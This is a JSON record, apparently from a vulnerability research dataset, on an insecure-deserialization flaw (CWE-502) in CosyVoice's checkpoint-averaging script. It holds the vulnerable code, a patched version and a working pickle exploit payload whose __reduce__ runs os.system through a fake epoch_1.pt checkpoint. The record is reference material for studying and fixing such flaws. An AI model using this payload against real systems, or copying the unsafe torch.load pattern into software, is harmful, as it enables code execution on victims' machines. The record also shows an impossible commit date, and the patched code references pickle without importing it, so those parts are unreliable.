{"id":1853,"cve":"CVE-2026-31250","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-31250\/","cwe":"CWE-502","cwe_number":502,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/502","cvss_score":7.3,"published":"2026-05-11","owasp":"A08 Software and Data Integrity Failures","odc":"Timing\/Serialization","cdc":"Serialization Issues","category":"Input Validation and Sanitization","subcategory":"Insecure Parsing or Deserialization","scope":"Local","impact":"Arbitrary Code Execution","summary":"Insecure deserialization in CosyVoice's model averaging tool allows RCE.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-31250\/","description":"CosyVoice thru commit 6e01309e01bc93bbeb83bdd996b1182a81aaf11e (2025-30-21) contains an insecure deserialization vulnerability (CWE-502) in its average_model.py model averaging tool. The script loads PyTorch checkpoint files (epoch_*.pt) for model averaging using torch.load() without enabling the weights_only=True security parameter. This allows the deserialization of arbitrary Python objects via the pickle module. An attacker can exploit this by providing malicious checkpoint files within a directory. When a victim uses the tool to average models from this directory, arbitrary code is executed on the victim's system.","solution":"Update to commit `4366b610c3c6f626155681944e05445214736f56` or a more recent version.","affected_component":"CosyVoice","fixed_by_upgrading":false,"vulnerable_code":"import os\nimport torch\nimport glob\nimport argparse\nfrom collections import OrderedDict\n\ndef average_checkpoints(model_dir, output_path):\n    param_dict = OrderedDict()\n    param_keys = None\n    new_state = None\n    num_models = 0\n\n    checkpoint_files = glob.glob(os.path.join(model_dir, \"epoch_*.pt\"))\n\n    if not checkpoint_files:\n        print(f\"No checkpoint files found in {model_dir}\")\n        return\n\n    for f in checkpoint_files:\n        print(f\"Processing {f}\")\n\n        # Vulnerable line: Deserializes the file without security checks.\n        # A malicious .pt file can execute arbitrary code here.\n        state = torch.load(f, map_location=\"cpu\")\n\n        if \"model\" in state:\n            state = state[\"model\"]\n\n        if new_state is None:\n            new_state = state\n        else:\n            for k, v in state.items():\n                if k in new_state:\n                    new_state[k] += v\n\n        num_models += 1\n\n    if new_state is not None and num_models > 0:\n        for k in new_state:\n            if new_state[k].is_floating_point():\n                new_state[k] \/= num_models\n            else:\n                new_state[k] \/\/= num_models\n\n        print(f\"Averaged {num_models} models. Saving to {output_path}\")\n        torch.save({\"model\": new_state}, output_path)\n    else:\n        print(\"No models were averaged.\")\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(description=\"Average PyTorch model checkpoints.\")\n    parser.add_argument(\"--model-dir\", required=True, type=str, help=\"Directory containing the .pt checkpoint files.\")\n    parser.add_argument(\"--output-path\", required=True, type=str, help=\"Path to save the averaged model checkpoint.\")\n    args = parser.parse_args()\n\n    average_checkpoints(args.model_dir, args.output_path)","patched_code":"import torch\nimport os\nimport glob\n\ndef average_models_safely(model_dir: str):\n    \"\"\"\n    Represents the fixed model averaging tool.\n\n    This function safely loads PyTorch checkpoint files from a directory\n    by using the `weights_only=True` parameter in `torch.load()`. This\n    prevents the deserialization of arbitrary Python objects, mitigating\n    the risk of remote code execution from malicious checkpoint files.\n    \"\"\"\n    checkpoint_paths = glob.glob(os.path.join(model_dir, \"epoch_*.pt\"))\n\n    if not checkpoint_paths:\n        print(f\"No model checkpoints found in '{model_dir}'.\")\n        return\n\n    print(f\"Found {len(checkpoint_paths)} checkpoints for averaging.\")\n    \n    # Placeholder for the averaged model state\n    averaged_state_dict = None\n    \n    for i, ckpt_path in enumerate(checkpoint_paths):\n        print(f\"Loading: {os.path.basename(ckpt_path)}\")\n        \n        # --- THE FIX ---\n        # The vulnerable version was: torch.load(ckpt_path)\n        # The fix is to add `weights_only=True`, which ensures that only tensors\n        # (model weights, biases, etc.) are loaded, and no arbitrary Python\n        # code (via the underlying pickle module) can be executed.\n        try:\n            state_dict = torch.load(ckpt_path, weights_only=True)\n        except (RuntimeError, pickle.UnpicklingError) as e:\n            print(f\"Could not load {ckpt_path} safely. It may be corrupt or malicious. Skipping. Error: {e}\")\n            continue\n        # --- END OF FIX ---\n        \n        # Simple averaging logic (for demonstration purposes)\n        if averaged_state_dict is None:\n            averaged_state_dict = state_dict\n        else:\n            for key in averaged_state_dict:\n                if key in state_dict:\n                    # Naive averaging for demonstration\n                    averaged_state_dict[key] = (averaged_state_dict[key] * i + state_dict[key]) \/ (i + 1)\n\n    if averaged_state_dict:\n        print(\"\\nModel averaging complete.\")\n        # In a real tool, this state_dict would be saved to a new file.\n        # torch.save(averaged_state_dict, \"averaged_model.pt\")\n    else:\n        print(\"\\nNo valid models were averaged.\")\n","payload_needed":true,"payload":"```python\nimport torch\nimport os\n\nclass ArbitraryCodeExecutor:\n    def __reduce__(self):\n        command = \"touch \/tmp\/pwned\"\n        return (os.system, (command,))\n\nmalicious_object = ArbitraryCodeExecutor()\n\n# Save the malicious object to a file named like a model checkpoint.\n# This file, when loaded by the vulnerable script, will trigger the exploit.\ntorch.save(malicious_object, 'epoch_1.pt')\n```","payload_status":"available","published_fix":[],"references":null}